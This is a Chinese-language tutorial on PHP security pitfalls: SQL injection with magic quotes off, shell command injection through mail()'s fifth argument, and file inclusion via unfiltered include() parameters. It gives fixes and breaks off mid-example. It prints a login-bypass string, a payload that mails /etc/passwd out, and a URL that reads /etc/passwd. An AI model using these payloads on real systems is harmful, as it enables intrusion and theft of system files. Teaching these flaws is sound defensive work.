使用PHP開發網站過程中的一些安全知識?
1、古老的欺騙sql語句
在默認模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php還是打開magic_quotes_gpc=on。
這樣所有從get/post/cookie來的變量的單引號(')、雙引號(")、反斜槓backslash()以及空字元nul
(the null byte)都會被加上反斜槓,以使數據庫能夠正確查詢。
但是在php-4-rc2的時候引入了一個配置文件php.ini-optimized,這個優化的php.ini卻是
magic_quotes_gpc=off的。某些網管看到optimized字樣也許就會把php.ini-optimized拷到
/usr/local/lib/php.ini,這時就比較危險。像比較簡單的驗證,假設沒有過濾必要的字符:
select * from login where user='$http_post_vars[user]' and pass='$http_post_vars[pass]'
我們就可以在用戶框和密碼框輸入1『 or 1='1通過驗證了。這是非常古董的方法了,這個語句會
替換成這樣:
select * from login where user='1' or 1='1' and pass='1' or 1='1'
因為or 1='1'成立,所以通過了。
解決的辦法最好就是過濾所有不必要的字符,還有就是推薦對於從get/post/cookie來的並且用在sql
中的變量加一個自定義的函數:
if(get_magic_quotes_gpc()==1)
return $str;
else
return addslashes($str);
}
主要是為了你的程序能安全移植在各種系統裡。
2、mail函數的第五個參數
在php-4.0.5的時候,mail函數引入了第五個參數,用來設置在實際發送郵件的時候增加額外的命令行參數,但是沒有很好的檢查特殊shell命令字符,所以出現執行命令的大問題。就像手冊裡的例子:
mail(" nobody@ab.com", "the subject", $message, "from: webmaster@$server_name", "-fwebmaster@$servernam");
這個是存在問題的,如果$server_name=;mail webjx@South Master < /etc/passwd就能把機器的密碼發送到我的信箱了。
這裡提醒一下,php手冊裡還有好幾個例子存在安全問題的,大家實際使用的時候不要照搬,它只是演示函數的基本功能,理解了就可以了。
對於mail函數的這個問題,最簡單的我們就不用這個第五個參數,要使用就過濾非法的字符如(;),還有就是修改php源碼包的程序ext/standard/mail.c,在if (extra_cmd != null) { 前增加如下一行:
extra_cmd=null
然後重新編譯。
3、unix版的require, include函數
win版本的require和include函數是不支持http和ftp遠程文件包含的,而unix版本默認都是支持遠程包含文件。
require和include不管你是什麼擴展名的,把你包含進來就作為程序的一部分來執行。
我們在寫程序的時候為了程序的模塊化,以及程序的可移植性,不可避免的用到很多require或include函數,而且有時用變量作為參數,比如:include("$something"); 如果這時用戶能控制$something參數,而這個參數又沒有過濾,那就慘拉。
首先可以看任何web用戶有讀權限的文件,假設這個程序叫http://victim/test.php,這樣我們就可以用如下
url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。
另外可以利用其遠程文件包含的功能執行命令。比如我在 www.aaa.org下建立一個文件test.php,內容是: